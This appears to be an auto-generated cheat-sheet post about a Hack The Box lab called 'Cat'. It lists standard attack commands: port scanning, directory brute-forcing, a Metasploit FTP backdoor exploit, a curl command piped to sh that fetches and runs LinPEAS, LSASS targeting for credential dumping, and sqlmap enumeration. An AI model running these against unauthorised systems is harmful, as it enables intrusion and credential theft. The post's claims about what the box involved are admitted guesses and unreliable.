labs.hackthebox.com
Practice-Verified Codes and Commands:
1. Nmap Scan:
nmap -sV -sC -p- <target_ip>
This command performs a full port scan with version detection and default scripts.
2. Directory Enumeration with Gobuster:
gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Use this to discover hidden directories on the target web server.
3. Exploiting a Vulnerable Service:
msfconsole use exploit/unix/ftp/proftpd_133c_backdoor set RHOSTS <target_ip> run
Example of using Metasploit to exploit a vulnerable FTP service.
4. Privilege Escalation with LinPEAS:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Run LinPEAS to identify potential privilege escalation vectors on a Linux system.
5. Capturing User Flag:
cat /home/user/user.txt
Retrieve the user flag after gaining initial access.
6. Capturing Root Flag:
cat /root/root.txt
Retrieve the root flag after privilege escalation.
What Undercode Say
Hack The Box (HTB) is an excellent platform for honing cybersecurity skills, offering realistic environments to practice penetration testing. The “Cat” box, as mentioned in the article, likely involved a combination of enumeration, exploitation, and privilege escalation techniques. Tools like Nmap, Gobuster, and Metasploit are essential for identifying vulnerabilities and gaining access.
For Linux-based systems, commands like find, grep, and `chmod` are invaluable for privilege escalation. For example:
find / -perm -u=s -o -perm -g=s 2>/dev/null
This command searches for SUID/SGID files, which can be exploited for privilege escalation.
On Windows, tools like PowerShell and Mimikatz are often used for post-exploitation. For example:
Get-Process | Where-Object {$_.ProcessName -eq "lsass"}
This command identifies the LSASS process, which can be dumped for credential extraction.
For web application testing, tools like Burp Suite and SQLmap are indispensable. For example:
sqlmap -u "http://<target_ip>/vulnerable_page?id=1" --dbs
This command enumerates databases on a vulnerable web application.
To further enhance your skills, explore additional resources like:
– OWASP Web Security Testing Guide
– Linux Privilege Escalation Guide
– Windows Privilege Escalation Guide
By combining these tools and techniques, you can systematically approach and solve HTB challenges, improving your cybersecurity expertise.
References:
Hackers Feeds, Undercode AI
